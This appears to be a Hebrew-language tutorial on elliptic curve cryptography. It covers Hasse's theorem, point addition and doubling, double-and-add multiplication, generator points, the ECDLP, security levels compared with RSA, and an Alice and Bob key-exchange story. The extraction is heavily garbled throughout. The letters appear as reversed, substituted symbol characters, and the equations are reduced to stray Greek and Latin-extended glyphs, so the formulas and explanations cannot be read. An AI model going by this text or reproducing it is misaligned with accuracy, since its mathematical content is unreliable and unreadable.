 ˫˷˟ ˦˲˷ˬIŀǎǎŜΩǎ Theorem  ˪˷ ˢ˩˶˰ˢ ˵˲˯ˬΠὉ ˪˷ ˪ˡˣˠ ˶ˡ˯ ˞ˣˢˣ ,ˢˬˣ˵˰ˢ ˪˷ ˶ˡ˯ˢ ,ɡὴ .

:˵ˣ˧ˡ ˶˸˧˪ 

ὴ ρ ςὴ ΠὉ ὴ ρ ςὴ 

 

ˢˬˣ˵˰ˢ ˪˰ ˸ˣˡˣ˵ˮ ˭˧˟ ˶ˣ˟˧˥ 

ˢ ˪˰ ˸ˣˡˣ˵ˮ ˧˸˷ ˭˸ˮ˧ˢ˟ ˫ˠ˷ ˸˧˷˧˪˷ ˢˡˣ˵ˮ ˞˧ˢ ˢ˸˞˴ˣ˸˷ ,˭ˢ˧ˮ˧˟ ˶ˣ˟˧˥ ˸˪ˣ˰˲ ˶˧ˡˠˢ˪ ˭˸˧ˮ ,ˢˬˣ˵˰

 ˸ˣˡˣ˵ˮˢ ˧˸˷ ˭˧˟ ˣ˵ ˫˧˶˧˟˰ˬ ,˸˧˶˦ˬˣ˞ˠ ˢ˶ˣ˴˟ ˸˞ˤˢ ˢˡˣ˵ˮˢ ˸˞ ˞ˣ˴ˬ˪ ˧ˡ˩ .ˢˬˣ˵˰ˢ ˪˰ ˸˞˴ˬˮ ˞˧ˢ

 ˫˧˲˵˷ˬ ˸˞ˤˢ ˢˡˣ˵ˮˢ ˸˞ .˸˧˷˧˪˷ ˢˡˣ˵ˮ˟ ˢˬˣ˵˰ˢ ˸˞ ˨˸ˣ˥ ˞ˣˢ˷ ˡ˰ ˣ˸ˣ˞ ˫˧˩˧˷ˬˬˣ ,˸ˣˮˣ˸ˮˢ

ˢ ˶˧˴˪ ˯˥˧˟-ὢ ,.˶ˣ˟˧˥ˢ ˸˞˴ˣ˸ ˸ˣ˧ˢ˪ ˸˶ˡˠˣˬ ˸˪˟˵˸ˬˢ ˢˡˣ˵ˮˢˣ 

 ˸ˣˡˣ˵ˮ ˭˸ˮ˧ˢ˟ ˨˧˞ ˠ˧˴ˬ˷ ˫˧˷˶˸ ˭˪ˢ˪ὖ x-ὗ  ˢˡˣ˵ˮˢ ˸˞ ˞ˣ˴ˬ˪ ˭˸˧ˮὖ ὗ: 
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 ˸˞ ˨˸ˣ˥ ˞˪ ˸ˣˡˣ˵ˮˢ ˧˸˷ ˭˧˟ ˫˧˶˧˟˰ˬ˷ ˣ˵ˢ ˫˞ ˢ˶ˣ˵ ˢˬ ˞˧ˢ ˢˤ ˶ˣ˞˧˸ˬ ˸ˣ˪˰˪ ˢ˪ˣ˩˧˷ ˢ˪˞˷

"˱ˣ˯ˮ˧˞"˟ ˢˬˣ˵˰ˢ ˸˞ ˨˸ˣ˥ ˣ˵ˢ˷ ˫˧˶ˬˣ˞ ˢˤ ˢ˶˵ˬ˟ ?˟ˣ˷ ˢˬˣ˵˰ˢ ˢˡˣ˵ˮˢ ˞˧ˢ ˶ˣ˟˧˥ˢ ˸˞˴ˣ˸ˣ ,ַײ .

 ˢˡˣ˵ˮ ˶˟˥˪ ˫˧˯ˮˬ ˶ˬˣ˪˩ ,˧˩ˮ˞ ˞ˣˢ ˫˧˶˧˟˰ˬ˷ ˣ˵ˢ ˫˞ ˢ˶ˣ˵ ˢˤ ˢ˶˵ˬ˷ ˟˪ ˫˧˷ˮὖ  ˢˡˣ˵ˮˢ ˫˰

 ,ˢ˪˷ ˸˧˩˲ˣˢˢὖ: 

 

 ˢˡˣ˵ˮ ˪˩˪ ,˸ˣ˧˯˧˯˟ ˸ˣ˧ˣˢˤ ˧˸˷ ˸ˣ˶ˤˠˮ ˭˞˩ˬὖ :˫˧˧˵˸ˬ 

ὖ ײַ ὖ 

ὖ ὖ  ײַ

˶˟˥ˬ ˨˧˞ ˞˧ˢ ˧˶˦ˬˣ˞˧ˠˢ ˶ˣ˞˧˸ˢˬ ˢ˪ˣ˰˷ ˸˲˯ˣˮ ˢ˪˞˷ ˧˸˷ ˭˧˟ ˶˟˥˪ ˧ˡ˩˷ ˣˮ˧˞˶ ?ˢˬ˴˰ ˫˰ ˢˡˣ˵ˮ ˫˧

 ˸ˣˮˣ˷ ˸ˣˡˣ˵ˮὖ x-ὗ .ˢˬˣ˵˰ˢ ˫˰ ˣ˪˷ ˨˷ˬˢˢ ˪˷ ˨ˣ˸˧˥ˢ ˸ˡˣ˵ˮ ˪˰ ˫˧˪˩˸˯ˬˣ ˣ˵ ˭ˢ˧ˮ˧˟ ˫˧˶˧˟˰ˬ ,

 ˸˞ ˶˧˞˷ˮ ,˸˧˟˧˦˧˞ˣ˦ˮ˧˞ὖ  ˸˞ "˫˧˟˶˵ˬ" ˣˮ˥ˮ˞˷ ˧ˡ˩ ˨ˣ˸ ˣˮ˪ ˶˴ˣˮ˷ ˣ˵ˢ ˪˰ ˪˩˸˯ˮˣ ,ˢ˰ˣ˟˵ὗ  ˪˞ὖ 

˷ ˡ˰ ,˶˸ˣ˧ˣ ˶˸ˣ˧-ὗ  ˫˰ ˡ˩˪˸˸ὖ.  ˢˡˣ˵ˮ˟ ˢˬˣ˵˰˪ "˵˧˷ˬ" ˶˸ˣ˧ˣ ˶˸ˣ˧˷ ˣ˵ ˢˤ ˪˟˵ˮ˷ ˢˬὖ ˵ˣ˧ˡ˟ ˢˤˣ ,

 ˸˞ ˶˟˥˪ ˢ˴˶ˮ˷˩ ˣ˧˪˰ ˪˩˸˯ˮ˷ ˣ˵ˢὖ :ˢˬ˴˰ ˫˰ 
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 ˢˡˣ˵ˮ ˶˟˥˪ ˧ˡ˩ὖ  ˢˡˣ˵ˮ˟ ˢˬˣ˵˰˪ ˵˧˷ˬ ˫˧˶˧˟˰ˬ ,ˢˬ˴˰ ˫˰ὖ ˸˞ ˨˸ˣ˥ ˞ˣˢ˷ ˡ˰ ˣ˸ˣ˞ ˫˧˩˧˷ˬˬˣ ,

ˢ ˶˧˴˪ ˯˥˧˟ ˫˧˲˵˷ˬ ˸˞ˤˢ ˢˡˣ˵ˮˢ ˸˞ .ˢ˧ˮ˷ ˢˡˣ˵ˮ˟ ˢˬˣ˵˰ˢ-ὢˢˣ , ˸ˣ˧ˢ˪ ˸˶ˡˠˣˬ ˸˪˟˵˸ˬˢ ˢˡˣ˵ˮ

 ˩ ˶ˣ˟˧˥ˢ ˸˞˴ˣ˸ ˸˞ ˭ˬ˯˪ ˠˣˢˮ .˶ˣ˟˧˥ˢ ˸˞˴ˣ˸ὖ ὖ ςὖ ˸˞ ˨˸ˣ˥ ˞˪ ˵˧˷ˬˢ ˫˞ ˫˰˲ˢ ˫ˠ .

 ˢˡˣ˵ˮˢ ˞˧ˢ ˶ˣ˟˧˥ˢ ˸˞˴ˣ˸ˣ ,"˱ˣ˯ˮ˧˞"˟ ˢˬˣ˵˰ˢ ˸˞ ˨˸ˣ˥ ˞ˣˢ˷ ˫˧˶ˬˣ˞ ˤ˞ ˢ˧ˮ˷ ˢˡˣ˵ˮ˟ ˢˬˣ˵˰ˢַײ. 

˪ ˫˧˶ˤˣ˰ˣ ˢˡˬ˥ˮ ˢ˶ˣ˴˟ ˫˧˷˧˥ˬˬ ˫˧˪˞ˣˤ˧ˣˢ ˫˧˧˶˦ˬˣ˞ˠˢ ˫˧˶ˣ˞˧˸ˢ .ˡ˟ˣ˰ ˸ˣˡˣ˵ˮ ˭˧˟ ˶ˣ˟˧˥ ˨˧˞ ˭˧˟ˢ˪ ˣˮ

!˸ˣ˧˦ˬ˸ˬ ˸ˣ˞ˣˣ˷ˬ ?ˢˤ ˸˞ ˫˧˟˷˥ˬ ˪˰ˣ˲˟ ˨˧˞ ˪˟˞ 

 ˸ˣˡˣ˵ˮˢ ˭˸ˮ˧ˢ˟ὖ ὼȟώ x- ὗ ὼȟώ ˢˡˣ˵ˮˢ ˞˧ˢ ˶ˣ˟˧˥ˢ ˸˞˴ˣ˸ ,Ὑ ὼȟώ :˷ ˨˩ 

ὼ ‗ ὼ ὼ άέὨ ὴ 

ώ ‗ὼ ὼ ώ άέὨ ὴ 

˷˩-‗  ˫˞ ,ˢˡˣ˵ˮ˟ ˢˬˣ˵˰˪ ˵˧˷ˬˢ ˰ˣ˲˧˷ˣ ,˸ˣˮˣ˷ ˭ˢ ˫˞ ,˸ˣˡˣ˵ˮˢ ˭˧˟ ˶˟˥ˬ˷ ˣ˵ˢ ˰ˣ˲˧˷ ˸ˣ˧ˢ˪ ˸˶ˡˠˣˬ

:˧˪ˬ˶ˣ˲ ˭˲ˣ˞˟ˣ .ˢˬ˴˰˪ ˢˡˣ˵ˮˢ ˸˞ ˫˧˶˟˥ˬ 

‗

ừ
Ử
Ừ

Ử
ứ
ώ ώ

ὼ ὼ
      άέὨ ὴ Ƞ   ὭὪ ὖ ὗ

σὼ ὥ

ςώ
    άέὨ ὴ Ƞ    ὭὪ ὖ ὗ

 

 ˨˶ˣ˴˪ .˶ˬ˞ˬˢ ˨˷ˬˢ˪ ˫˧˧˦˧˶˵ ˞˪ ˫ˢ ˸ˣˡˣ˵ˮ ˭˧˟ ˶ˣ˟˧˥ˢ ˸˪ˣ˰˲ ˪˷ ˫˧˧˦ˬ˸ˬˢ ˫˧˟ˣ˷˧˥ˢ ˧˦˶˲

 ˢ˶˧ˤ˥ˬˣ ˢˬˣ˵˰ˢ ˪˰ ˸ˣˡˣ˵ˮ ˧˸˷ ˸˪˟˵ˬ˷ ˢ˶ˣ˥˷ ˞˯˲ˣ˵˩ ˸ˣˡˣ˵ˮ ˭˧˟ ˶ˣ˟˧˥ ˪˰ ˪˩˸˯ˢ˪ ˭˸˧ˮ ,˭˧˧ˮ˰ˢ

.ˢˬˣ˵˰ˢ ˪˰ ˞˧ˢ ˫ˠ ˸˞˴ˬˮ˷ ˸˧˷˧˪˷ ˢˡˣ˵ˮ 

 

ˮ ˪˲˩˰ˣ˟˵˟ ˢˬˣ˵˰ˢ ˪˰ ˢˡˣ˵ 

 ˢˡˣ˵ˮ ˶˟˥˪ ˭˸˧ˮ˷ ˣˮ˧˞˶ὖ  ˟ ˣˮˬ˧˯ ˸˪˟˵˸ˬˢ ˢˡˣ˵ˮˢ ˸˞ˣ ,ˢˬ˴˰˪ςὖ ˸˞ ˶˟˥ˮ ˣˤ ˢˡˣ˵ˮ˪ ˫˞ .

 ˢˡˣ˵ˮˢὖ  ˟ ˢˮˬ˯ˮ˷ ˢˡˣ˵ˮ ˪˟˵˸˸ ,˟ˣ˷σὖ ˢˡˣ˵ˮ ˪˷ "˪˲˩" ˶˧ˡˠˢ˪ ˶˷˲˞ ˣˤ ˢ˶ˣ˴˟ .ˢ˞˪ˢ ˨˩ˣ ,

˧˟ ˪˲˩˪ ˢˬˣˡ ˭˲ˣ˞˟) ˢˬ˴˰ ˫˰ ˢˡˣ˵ˮˢ ˪˷ ˶ˤˣ˥ ˶ˣ˟˧˥ ˧ˡ˧ ˪˰ ,˰ˣ˟˵˟:(˫˧˶˲˯ˬ ˭ 

ὲὖ ὖ ὖ Ễ ὖ
 

 

 ˶˲˯ˬ˟ ˧ˢ˷˪˩ ˢˡˣ˵ˮ ˪˧˲˩ˢ˪ ˧ˡ˩ ˢ˶ˣ˞˩˪ὲ  ˰˴˟˪ ˫˧˩˧˶˴ ˣˮ˥ˮ˞ὲ  ˧˩ ˢˤ .˸ˣˡˣ˵ˮ ˭˧˟ ˶ˣ˟˧˥ ˸ˣ˪ˣ˰˲

 ˧˶˥˞ ˡ˰˴" ˢ˧˪˞ ˰˧ˠˢ˪ ˧˪˟ ,"ˢˮˣ˶˥˞"ˢ ˢˡˣ˵ˮˢ ˪ˣ˲˧˸ ˢ˲˧˞ ˷˞˶ˬ ˸˰ˡ˪ ˢ˷˵ ,ˢ˪˥˸ˢ ˸ˡˣ˵ˮ ˭˸ˮ˧ˢ˟

˰˧ ˞˪ ˡˣ˞ˬ ˢ˧ˢ˧ ˢˤ˩˷ ˟ˣ˷˧˥ ."ˡ˰˴ ˧˩ ,˪˧ὲ .ˡˣ˞ˬ ˪ˣˡˠ ˸ˣ˧ˢ˪ ˪ˣ˩˧ 

 ˫˸˧˶ˣˠ˪˞ˢ ˫˧˧˵ ˨˩ ˨˶ˣ˴˪Double And Add ˢˡˣ˵ˮˢˬ ˨˧˪ˢ˸ˢ ˸˞ ˫˧˪˧˥˸ˬ ˣ˟˷ ,ὖ ˦˧˟ ˪˩˪ ˤ˞ˣ ,

 ˪˷ ˧˶˞ˮ˧˟ˢ ˠˣ˴˧˧˟ὲ˟ ˸˧˥˩ˣˮˢ ˢˡˣ˵ˮˢ ˸˞ ˫˧˪˧˲˩ˬ ,-ς  ˢ˸ˣ˞ ˫˧˲˧˯ˣˬˣ ,(ˢˬ˴˰˪ ˢ˸ˣ˞ ˫˧˶˟˥ˬ ˶ˬˣ˪˩)
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 ˞ˣˢ ˦˧˟ˢ ˨˶˰ ˫˞ ˢ˞˴ˣ˸˪ρ ˢ˴˧˶ˢ ˭ˬˤ ˸ˣ˧˩ˣ˟˧˯ . ˞˧ˢ ˢˤ ˫˸˧˶ˣˠ˪˞ ˪˷ὕÌÏÇὲ ˶˷˲˞ˬ ˞ˣˢˣ ,

.˸ˣ˪˧˰˧˟ ˡˣ˞ˬ ˫˧˪ˣˡˠ ˫˧˶˲˯ˬ˟ ˸ˣˡˣ˵ˮ ˪˧˲˩ˢ˪ 

 ˢˡˣ˵ˮ ˪˩˪˷ ˞˧ˢ ˨˷ˬˢ˟ ˢ˟ ˷ˬ˸˷ˮ˷ ˢˡˣ˵ˮ ˪˲˩ ˪˷ ˢ˟ˣ˷˥ ˢˮˣ˩˸ὖ  ˫˧˶˲˯ˬ ˠˣˤˣὥȟὦ :˫˧˧˵˸ˬ 

ὦὥὖ ὦὥὖ ὥὦὖ ὥὦὖ 

 ˢˡˣ˵ˮˬ ˫˧˪˧˥˸ˬ˷ ˥˧ˮˮ ,˸˧˟˧˦˧˞ˣ˦ˮ˧˞ὖ˧˞ ˫˧˷ˣ˰ , ˢ˸ὥ  ˢˡˣ˵ˮ˪ ˫˧˰˧ˠˬˣ ,˫˧ˡ˰˴ὥὖ ˫˧˷ˣ˰ ˣˤ ˢˡˣ˵ˮˬ .

ὦ  "˪ˡˣˠ"˟ ˫˧ˡ˰˴ὥ  ˢˡˣ˵ˮ˪ ˫˧˰˧ˠˬˣὦὥὖ ˢˡˣ˵ˮˢˬ ˪˧˥˸ˢ˪ ˶˷˲˞ ˶˥˞ ˷˧˥˶˸˟ ˢˡ˧ˬˢ ˢ˸ˣ˞˟ .ὖ ,

 ˢ˸˧˞ ˸ˣ˷˰˪ὦ  ˢˡˣ˵ˮ˪ ˰˧ˠˢ˪ˣ ˫˧ˡ˰˴ὦὖ ˸ˣ˷˰˪ ˣˤ ˢˡˣ˵ˮˬ .ὥ  "˪ˡˣˠ"˟ ˫˧ˡ˰˴ὦ  ˢˡˣ˵ˮ˪ ˰˧ˠˢ˪ˣὥὦὖ .

 ˫˧˷˧˥˶˸ˢ ˧ˮ˷˟ ˪˷ ˢˢˤ ˸ˣˬ˩ ˣˮ˧˷˰ὥὦ  ˢˡˣ˵ˮˢˬ ˫˧ˡ˰˴ὖ  ˣˮ˰ˠˢ ˫˧˷˧˥˶˸ˢ ˧ˮ˷˟ ˭˩˪ˣ ,˪˩ˢ ˨˯˟

.˧˟˧˦˞˧˴ˣ˯˞ ˞ˣˢ ˰ˣ˟˵˟ ˢˡˣ˵ˮ ˪˲˩ ,˸˧˦ˬ˸ˬ˟ .˸˧˲ˣ˯ˢ ˢˡˣ˵ˮˢ ˢ˸ˣ˞˪ 

˶ˣ˦˶ˮˠ ˸ˡˣ˵ˮ 

 ˢˡˣ˵ˮˬ ˪˧˥˸ˮ ˫˞ὖ  ˢ˷ˡ˥ ˢˡˣ˵ˮ˪ ˰˧ˠˮ ˢˤ˩˷ ˡ˰˴ ˪˩˟ ,˟ˣ˷ˣ ˟ˣ˷ˣ ˟ˣ˷ ˢˬ˴˰˪ ˢ˸ˣ˞ ˶˟˥ˮˣ ˧ˢ˷˪˩

˪ˠ˟ .ˢˬˣ˵˰ˢ ˪˰ ˧ˢ˷˪˩ "˪ˠ˰ˬ" ˣˮ˪ ˶˴ˣˣ˧ ˟˪˷ ˣˢ˷ˤ˧˞˟ ,ˢˬˣ˵˰ˢ ˪˰ ˸ˣˡˣ˵ˮ ˪˷ ˧˲ˣ˯ ˶˲˯ˬ ˷˧˷ ˪

 ˢˡˣ˵ˮ˪ ˰˧ˠˮ ˟˪˷ ˣˢ˷ˤ˧˞˟ ,˵ˣ˧ˡ ˶˸˧˪ .˫ˡˣ˵ ˭ˢ˧˪˞ ˣˮ˰ˠˢ ˶˟˩˷ ˸ˣˡˣ˵ˮ˪ ˟ˣ˷ ˶ˣˤ˥ˮˣὖ ˞˟ˢ ˡ˰˴˟ ,

 ˢˡˣ˵ˮ˪ ˰˧ˠˮַײ ˢˡˣ˵ˮ˪ ˢ˶ˤ˥˟ ˰˧ˠˮ ˣ˧˶˥˞˷ ˡ˰˴˟ˣ ,ὖ.ˣˮ˪˥˸ˢ ˢˮˬˬ˷ , 

ˠ ˫˧˞˶ˣ˵ ˢˤ˩˷ "˪ˠ˰ˬ" ˸˶˴ˣ˧˷ ˢˡˣ˵ˮ˪ ˸ˣˡˣ˵ˮˢ ˶˞˷ ˸˞ ˫˧˶˴ˣ˧ ˢˮˬˬ ˧˩ ,˶˴ˣ˧ ˶˟˧˞ ˣ˞ ,˶ˣ˦˶ˮ

 ˸ˣ˞˟ ˢ˸ˣ˞ ˭ˬ˯˪ ˠˣˢˮˣ ,"˪ˠ˰ˬ"˟˷Ὃ ˪)-Generator ˢˡˣ˵ˮˢ ˪˪ˣ˩) "˪ˠ˰ˬ"˟ ˸ˣˡˣ˵ˮˢ ˶˲˯ˬ .(ַײ ˞˶˵ˮ (

 ˶ˣ˦˶ˮˠˢ ˪˷ ˶ˡ˯ˢ"Ὃ ˸ˣ˞˟ ˣ˸ˣ˞ ˭ˬ˯˪ ˠˣˢˮˣ ,"ὲ .ˣˢ˷˪˩ "˪ˠ˰ˬ" ˸˶˴ˣ˧ ˢˬˣ˵˰ˢ ˪˰ ˢˡˣ˵ˮ ˪˩ .

˰ˬ"˟ ˸ˣˡˣ˵ˮˢ ˸˴ˣ˟˵ ,˸˧˦ˬ˸ˬ˟.˸˧˪˵˧˴ ˢ˶ˣ˟˥ ˞˧ˢ ˢˤˢ "˪ˠ 

 ˢˡˣ˵ˮ ˪˲˩˷ ˞˧ˢ ˨˩ˬ ˸˰˟ˣˮ˷ ˸ˮ˧˧ˮ˰ˬ ˢˮˣ˩˸Ὃ  ˢ˪˷ ˶ˡ˯˟ὲ :˱ˣ˯ˮ˧˞ˢ ˸ˡˣ˵ˮ ˸˞ ˣˮ˪ ˭˸ˣˮ 

ὲὋ  ײַ

ˢ˷˵ˢ ˢ˧˰˟ˢ 

ά ˸ˣˡˣ˵ˮ ˭˸ˮ˧ˢ˟ὖ x-ὗ  ˸ˣˬ˧˧˵ˬˢὗ ὼὖ  ˶ˣ˟˰ὼ  ˸˞ ˞ˣ˴ˬ˪ ˢ˷˵ ,ˣˢ˷˪˩ὼ.έ 

 ˢˮˬˬ ˥˵˪ ,˧ˢ˷˪˩ ˢ˪˥˸ˢ ˸ˡˣ˵ˮˬ ˪˧˥˸ˢ ˣˢ˷˧ˬ˷ ˥˧ˮˮ ,˫˧˪˧ˬ˟ˣ ˰˧ˠˢˣ ,˫˧ˡ˰˴ ˪˷ ˫˧ˣ˯ˬ ˶˲˯ˬ

?˥˵˪ ˞ˣˢ ˫˧ˡ˰˴ ˢˬ˩ ˸˰ˡ˪ ˶˷˲˞ ˨˧˞ ,˸˧˲ˣ˯ˢ ˢˡˣ˵ˮˢˣ ˢ˪˥˸ˢˢ ˸ˡˣ˵ˮ ˭˸ˮ˧ˢ˟ .˸˧˲ˣ˯ ˢˡˣ˵ˮ˪ 

 ˸ˣˡˣ˵ˮˢ ˣ˧ˢ˧ ˢˬ ˧ˢ˷˪˩ ˢˡˣ˵ˮˬ ˷˞˶ˬ ˸ˣˤ˥˪ ˢ˷˵ ˧˩ ,˸˧˟˧˦˧˞ˣ˦ˮ˧˞ ˨˩ ˪˩ ˞˪ ˞˧ˢ ˨˩˪ ˢ˟ˣ˷˸ˢ

ˬ ˪˧˥˸ˢ˪ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˧˟˧˞ˮ ˭ˣ˶˸˲ .ˢˮˬˬ ˫˧˥˵ˣ˪˷ ˫˧ˡ˰˴˟ ˢˮ˪˟˵˸˸˷-ὖ  ˡ˰˴ ˢˮˬˬ ˫ˡ˵˸ˢ˪ ,ˣˮˬ˴˰˟

˪ ˰˧ˠˮ˷ ˡ˰ ,˫˧˷ˣ˰ ˣˮ˥ˮ˞˷ ˫˧ˡ˰˴ˢ ˸˞ ˶ˣ˲˯˪ˣ ˫˰˲ ˪˩˟ ˡ˥˞-ὗ ˞˧ˢ ˢˤ ˭ˣ˶˸˲ ˪˷ ˸ˣ˧˩ˣ˟˧˯ˢ .ὕὼ 

˷ ˰ˣˡ˧ˣ ˢˡ˧ˬ˟ ˧˷˰ˬ ˞˪ ˞ˣˢˣ-ὼ  ˫˞ ˪˷ˬ˪ ,˪ˣˡˠ ˶˲˯ˬ ˞ˣˢὼ  ˪˷ ˨˶ˣ˞˟ ˞ˣˢнрс .˦˧˟ 
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"˸ˣ˧˦˲˧˪˞ ˸ˣˬˣ˵˰˟ ˧˦˶˵˯˧ˡˢ ˫˸˧˶ˠˣ˪ˢ ˸˧˧˰˟" ˸˞˶˵ˮ ˸˞ˤˢ ˢ˧˰˟ˢ:ˣ˞ ,Elliptic Curve Discrete 

Logarithm Problem (ECDLP)?ˢ˷˵ ˞˧ˢ ˢˬ˩ ˡ˰ ˪˟˞ .ˢ˷˵ ˢ˧˰˟ ˞˧ˢˣ , 

 ˡˡˬ ˸˶ˤ˰˟ ,"˸˧˲˶ˠˣ˦˲˧˶˵ ˸˩˶˰ˬ ˪˷ ˵ˤˣ˥" ˣ˞ ,"˸ˣ˧˰˟ ˪˷ ˧˷ˣ˵" ˡˣˡˬ˪ ˠˣˢˮ ,˧˲˶ˠˣ˦˲˧˶˵ ˶˷˵ˢ˟

 ˞˶˵ˮ˷Security Level ˪˷ ˸ˣ˥˧˦˟" ˷˧ ˢ˧˰˟˪˷ ˫˧˶ˬˣ˞ ˢˤ ˡˡˬ˟ .ὲ ˢ˲˵˸ˬˢ ˫˞ "˫˧˦˧˟  ˢ˰ˣˡ˧ˢ

˟ ˢ˧˰˟ˢ ˸˞ ˸˶˸ˣ˲ ˶˸ˣ˧˟ ˢ˟ˣ˦ˢ-ὕς .˫˧ˡ˰˴ 

 ˸˧˧˰˟ ˸˞ ˶˸ˣ˲˷ ˶˸ˣ˧˟ ˟ˣ˦ˢ ˫˸˧˶ˣˠ˪˞ˢ ,˫ˣ˧˩ECDLP  ˪˷ ˸ˣ˧˩ˣ˟˧˯˟ ˸˞ˤ ˢ˷ˣ˰ὕЍὲ˷˩ ,-ὲ  ˞ˣˢ

 ˢˡˣ˵ˮˢ ˪˷ ˶ˡ˯ˢὖ ˸˲˵˸ˬ ˧ˡ˧ ˪˰ ˸˞ˤ ˰˴˟ˬ ˞ˣˢˣ ,Meet In The Middle ˶ˡ˯ˢ˷ ˢˡˣ˵ˮ ˫˧˶˥ˣ˟˷˩ .

 ˢ˪˷ὲ ˪ ˢˤ ,˵˧˲˯ˬ ˪ˣˡˠ.ˢ˧˰˟ˢ ˪˷ ˵ˤˣ˥ˢ ˭˞˩ˬˣ ,˧˷˰ˬ ˞ 

 ˫˧˶˥ˣ˟ ˫˞ ,˞ˬˠˣˡ˪ὲ  ˨˶ˣ˞˟нрс  ˸˧˧˰˟˪˷ ˫˧˪˟˵ˬ ,˦˧˟ECDLP  ˪˷ ˸ˣ˥˧˦˟ ˷˧мну  ˫˷˪ .˦˧˟

 ˪˷ ˢˢˤ ˸ˣ˥˧˦˟ ˠ˧˷ˢ˪ ˧ˡ˩ ,ˢ˞ˣˣ˷ˢмну  ˸ˮ˲˴ˢ˟ ˦˧˟RSA ˫˧ˬ˶ˣˠ˪ ˶˲˯ˬ ˵ˣ˶˧˲ ˸˧˧˰˟ ˪˰ ˸˯˯˟˸ˬ˷ ,

 ˨˶ˣ˞˟ ˧˶ˣ˟˧˴ ˥˸˲ˬ˟ ˷ˬ˸˷ˢ˪ ˨˧˶˴ ,˫˧˧ˮˣ˷˞˶олтн ˷ ˢˬ .˦˧˟ ˸ˣ˧˦˲˧˪˞ ˸ˣˬˣ˵˰˟ ˷ˣˬ˧˷ˢ ˸˞ ˨˲ˣˢ

.˸˧˟ˣ˷˧˥ ˢˮ˧˥˟ˬ ˪˧˰˧ ˶˸ˣ˧ ˸˧˯˥˧˪ 

 

ˢ˧˲˶ˠˣ˦˲˧˶˵ ˪˷ ˶˷˵ˢ˟ ˸ˣ˧˦˲˧˪˞ ˸ˣˬˣ˵˰ 

 ˶˷˵ˢ˟ ˭˸˧˞ ˸ˣ˷˰˪ ˶˷˲˞ ˢˬ ˸ˣ˞˶˪ ˶ˣ˟˰ˮ ,˸ˣ˧˦˲˧˪˞ˢ ˸ˣˬˣ˵˰ˢ ˫˪ˣ˰˪ ˢˤˢ ˞ˣ˟ˬˢ ˪˩ ˧˶˥˞

˷˵˷ "ˢ˷˵ ˢ˧˰˟" ˪˰ ˸ˣ˯˯˟˸ˬ ˪˪˩ ˨˶ˡ˟ ˸ˣ˧˲˶ˠˣ˦˲˧˶˵ ˸ˣ˩˶˰ˬ ,˰ˣˡ˧˩ .˧˲˶ˠˣ˦˲˧˶˵ ˪˷ˬ˪ .˶ˣ˸˲˪ ˢ

RSA  ˪ˣ˵ˣ˦ˣ˶˲ ˣ˞ ,ˣˮ˶˩ˤˢ˷ ˫˧˧ˮˣ˷˞˶ ˫˧ˬ˶ˣˠ˪ ˶˲˯ˬ ˵ˣ˶˧˲ˢ ˸˧˧˰˟ ˫˰Diffie-Hellman  ˸˧˧˰˟ ˫˰

 ˸˧˧˰˟ ˪˰ ˸˯˯˟˸ˬ˷ ˸˧˲˶ˠˣ˦˲˧˶˵ ˸˩˶˰ˬ .˧˦˶˵˯˧ˡˢ ˫˸˧˶ˠˣ˪ˢECDLP  ˸˩˧˧˷ ˸˧˦˲˧˪˞ ˢˬˣ˵˰˟

 ˸˥˲˷ˬ˪Elliptic Curve Cryptography ˶ˣ˴˧˵˟ ˣ˞ ,ECC. 

 

˪˞ ˸ˣˬˣ˵˰˪ ˭ˣ˷˞˶ ˷ˣˬ˧˷ ˸ˣ˧˦˲˧- ˱˸ˣ˷ˬ ˡˣ˯ ˪˰ ˢˬ˩˯ˢ 

 ˢ˟˧˯ˬ˟ ˫˧˞˴ˬˮ ˫˸˞˷ ˣˮ˧˧ˬˡ .˶ˣ˲˧˯˟ ˪˧˥˸ˮ-  ˫˪ˣ˩ ˫˰ ˶˟ˡ˪ ˫˧˪ˣ˩˧ ˫˪ˣ˩ ˣ˟˷ ,˫˧˷ˮ˞˟ ˞˪ˬ ˶ˡ˥

 ˧ˮ˧˰˟ ˭˥ ˞˴ˣˬ ˟ˣ˟ .˫˪ˣ˰ˬ ˭˩ ˧ˮ˲˪ ˣ˷ˠ˲ˮ ˞˪˷ ,˟ˣ˟ˣ ˯˧˪˞ ˫ˠ ˫˧˞˴ˬˮ ˶ˡ˥˟ .˫˪ˣ˩ ˸˞ ˫˧˰ˬˣ˷ ˫˪ˣ˩ˣ

˸ˬ ˸˴˵ ˯˧˪˞ .˦˧˧ˡ˪ ˣ˸ˣ˞ ˭˧ˬˤˢ˪ ˸ˮ˧˧ˮˣ˰ˬ ˞˧ˢˣ ,˯˧˪˞ ˶˯ˬˢ ˸˞ ˟ˣ˟˪ ˶˧˟˰ˢ˪ ˢ˴ˣ˶ ˞˧ˢ ˭˩˪ˣ ,˸˷˧˧˟

 ˪˩ˣ ,˷˞˶ˬ ˶˟ˡ ˫ˣ˷ ˫ˢ˧ˮ˧˟ ˣˬ˞˧˸ ˞˪ ˟ˣ˟ˣ ˯˧˪˞ .ˢ˸ˣ˞ ˣ˰ˬ˷˧ ˢ˟˧˯ˬˢ ˧˥˶ˣ˞ ˶˞˷ ˪˩˷ ˧˪˟ ˢˤˢ ˧ˡˣ˯ˢ

 ˶˯ˬˢ ˸˞ ˟ˣ˟˪ ˶˧˟˰ˢ˪ ˢ˪ˣ˩˧ ˯˧˪˞ ˨˧˞ .ˢ˟˧˯ˬ˟ ˫˧˥˶ˣ˞ˢ ˶˞˷ ˪˩ ˧ˡ˧ ˪˰ ˰ˬ˷˧˧ ˟ˣ˟˪ ˡ˧ˠ˸ ˯˧˪˞˷ ˢˬ

?ˣ˸ˣ˞ ˰ˬ˷˧ ˶˥˞ ˡ˥˞ ˱˞˷ ˧˪˟ 

˸˧ˮ˰ ˫˞!˫˧˵ˡˣ˴ ˫˸˞ ˤ˞ ,"˸ˣ˧˦˲˧˪˞ ˸ˣˬˣ˵˰" ˫ 
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 ˟ˣ˟˪ ˶˧˟˰˸ ˯˧˪˞ ,˸˧˲˧˴˲˯ .˟ˣ˟˪ ˫˸ˣ˞ ˡ˧ˠ˸ˣ ,ˢ˟ ˞˴ˬˮ˷ ˶ˣ˦˶ˮˠˣ ˧ˢ˷˪˩ ˸˧˦˲˧˪˞ ˢˬˣ˵˰ ˶˥˟˸ ˯˧˪˞

